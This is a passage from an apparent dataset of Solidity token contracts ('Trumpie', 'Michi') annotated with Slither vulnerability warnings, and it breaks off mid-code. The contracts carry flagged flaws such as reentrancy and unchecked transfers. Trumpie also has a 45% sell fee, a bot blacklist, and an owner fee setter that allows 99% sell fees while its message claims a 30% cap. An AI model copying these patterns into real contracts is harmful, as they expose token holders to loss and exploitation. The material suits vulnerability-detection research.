2b9e381\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: eed4042\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 128c5ea\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract Trumpie is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 37fa0e4): Trumpie.deployerWallet should be immutable \n\t// Recommendation for 37fa0e4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e6105dd): Trumpie.marketingWallet should be immutable \n\t// Recommendation for e6105dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: e661a1c): Trumpie._name shadows ERC20._name\n\t// Recommendation for e661a1c: Remove the state variable shadowing.\n string private constant _name = \"Trumpie\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: e7356c0): Trumpie._symbol shadows ERC20._symbol\n\t// Recommendation for e7356c0: Remove the state variable shadowing.\n string private constant _symbol = \"TRUMPIE\";\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (constable-states | ID: 51cebc5): Trumpie.initialTotalSupply should be constant \n\t// Recommendation for 51cebc5: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 1000000000 * 1e18;\n\n uint256 public maxTransactionAmount = 20000000 * 1e18;\n\n uint256 public maxWallet = 20000000 * 1e18;\n\n uint256 public swapTokensAtAmount = 10000000 * 1e18;\n\n bool public tradingOpen = false;\n\n bool public swapEnabled = false;\n\n uint256 public BuyFee = 27;\n\n uint256 public SellFee = 45;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 487a367): Trumpie.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for 487a367: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: 487a367\n marketingWallet = payable(wallet);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, initialTotalSupply);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 128c5ea): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 128c5ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eed4042): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eed4042: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 617f00d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 617f00d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6193fa3): Trumpie.openTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)).per(80),0,0,owner(),block.timestamp)\n\t// Recommendation for 6193fa3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: edf23bb): Trumpie.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for edf23bb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a28b452): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a28b452: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-events | ID: 128c5ea\n\t\t// reentrancy-benign | ID: eed4042\n\t\t// reentrancy-benign | ID: 617f00d\n\t\t// reentrancy-eth | ID: a28b452\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n\t\t// reentrancy-benign | ID: eed4042\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n\t\t// reentrancy-events | ID: 128c5ea\n\t\t// reentrancy-benign | ID: eed4042\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n\t\t// reentrancy-events | ID: 128c5ea\n\t\t// reentrancy-benign | ID: eed4042\n _approve(address(this), address(_uniswapV2Router), initialTotalSupply);\n\n\t\t// reentrancy-benign | ID: 617f00d\n\t\t// unused-return | ID: 6193fa3\n\t\t// reentrancy-eth | ID: a28b452\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)).per(80),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 617f00d\n\t\t// unused-return | ID: edf23bb\n\t\t// reentrancy-eth | ID: a28b452\n IERC20(uniswapV2Pair).approve(\n address(_uniswapV2Router),\n type(uint).max\n );\n\n\t\t// reentrancy-benign | ID: 617f00d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a28b452\n tradingOpen = true;\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n\t\t// reentrancy-benign | ID: eed4042\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n\t\t// reentrancy-benign | ID: eed4042\n automatedMarketMakerPairs[pair] = value;\n\n\t\t// reentrancy-events | ID: 128c5ea\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2b9e381): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2b9e381: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4fb075d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4fb075d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n require(!bots[from] && !bots[to]);\n\n if (!tradingOpen) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 2b9e381\n\t\t\t// reentrancy-no-eth | ID: 4fb075d\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: 4fb075d\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 2b9e381\n\t\t\t\t// reentrancy-no-eth | ID: 4fb075d\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 2b9e381\n\t\t// reentrancy-no-eth | ID: 4fb075d\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2b9e381\n\t\t// reentrancy-no-eth | ID: 4fb075d\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8f147a4): Trumpie.cleartuckEths() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for 8f147a4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function cleartuckEths() external {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n require(_msgSender() == marketingWallet);\n\n\t\t// arbitrary-send-eth | ID: 8f147a4\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1b2f710): Trumpie.burnsRemainTokens(ERC20) ignores return value by tokenAddress.transfer(deadAddress,remainingTokens)\n\t// Recommendation for 1b2f710: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function burnsRemainTokens(ERC20 tokenAddress) external {\n uint256 remainingTokens = tokenAddress.balanceOf(address(this));\n\n require(remainingTokens > 0, \"Token: no tokens to burn\");\n\n require(_msgSender() == marketingWallet);\n\n\t\t// unchecked-transfer | ID: 1b2f710\n tokenAddress.transfer(deadAddress, remainingTokens);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ee678ec): Trumpie.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for ee678ec: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: ee678ec\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualwap(uint256 percent) external {\n require(_msgSender() == marketingWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 requiredBalance = (totalSupplyAmount * percent) / 100;\n\n require(contractBalance >= requiredBalance, \"Not enough tokens\");\n\n swapTokensForEth(requiredBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ddc4621): Trumpie.SetFee(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for ddc4621: Emit an event for critical parameter changes.\n function SetFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 30 && _sellFee <= 99, \"Fees cannot exceed 30%\");\n\n\t\t// events-maths | ID: ddc4621\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: ddc4621\n SellFee = _sellFee;\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n } else if (\n contractBalance > 0 && contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10170.sol",
"size_bytes": 31363,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 43880b8): Michi.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 43880b8: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: de9142d): Michi.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 1 * (_tTotal / 100)\n// Recommendation for de9142d: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4e8bdbc): Michi.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 1 * (_tTotal / 100)\n// Recommendation for 4e8bdbc: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d6a6d43): Michi.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for d6a6d43: Consider ordering multiplication before division.\ncontract Michi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: de23657): Michi._taxWallet should be immutable \n\t// Recommendation for de23657: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 928efc6): Michi._initialBuyTax should be constant \n\t// Recommendation for 928efc6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19fcc16): Michi._initialSellTax should be constant \n\t// Recommendation for 19fcc16: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e12971): Michi._finalBuyTax should be constant \n\t// Recommendation for 7e12971: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 425a2b7): Michi._finalSellTax should be constant \n\t// Recommendation for 425a2b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc40b57): Michi._reduceBuyTaxAt should be constant \n\t// Recommendation for fc40b57: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5720310): Michi._reduceSellTaxAt should be constant \n\t// Recommendation for 5720310: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55a3b91): Michi._preventSwapBefore should be constant \n\t// Recommendation for 55a3b91: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5c36d8): Michi._transferTax should be constant \n\t// Recommendation for f5c36d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Michi\";\n\n string private constant _symbol = unicode\"MICHI\";\n\n\t// divide-before-multiply | ID: de9142d\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 4e8bdbc\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e49600): Michi._taxSwapThreshold should be constant \n\t// Recommendation for 2e49600: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: d6a6d43\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: c4f2e05): Michi._maxTaxSwap should be constant \n\t// Recommendation for c4f2e05: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 43880b8\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: e1000e3): Michi.uniswapV2Router should be immutable \n\t// Recommendation for e1000e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 713d5b0): Michi.uniswapV2Pair should be immutable \n\t// Recommendation for 713d5b0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 799adad): Michi.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 799adad: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0xfE2272fF1adE42Cf04AE802f46bF43b89d4963A6);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 799adad\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bd99de6): Michi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bd99de6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 66c6630): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 66c6630: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 11828e1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 11828e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 66c6630\n\t\t// reentrancy-benign | ID: 11828e1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 66c6630\n\t\t// reentrancy-benign | ID: 11828e1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 91f29ef): Michi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 91f29ef: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 11828e1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 66c6630\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 858a35a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 858a35a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d3af964): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d3af964: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 858a35a\n\t\t\t\t// reentrancy-eth | ID: d3af964\n swapTokensForEth(\n min(amount, min(contractTokenBalance, 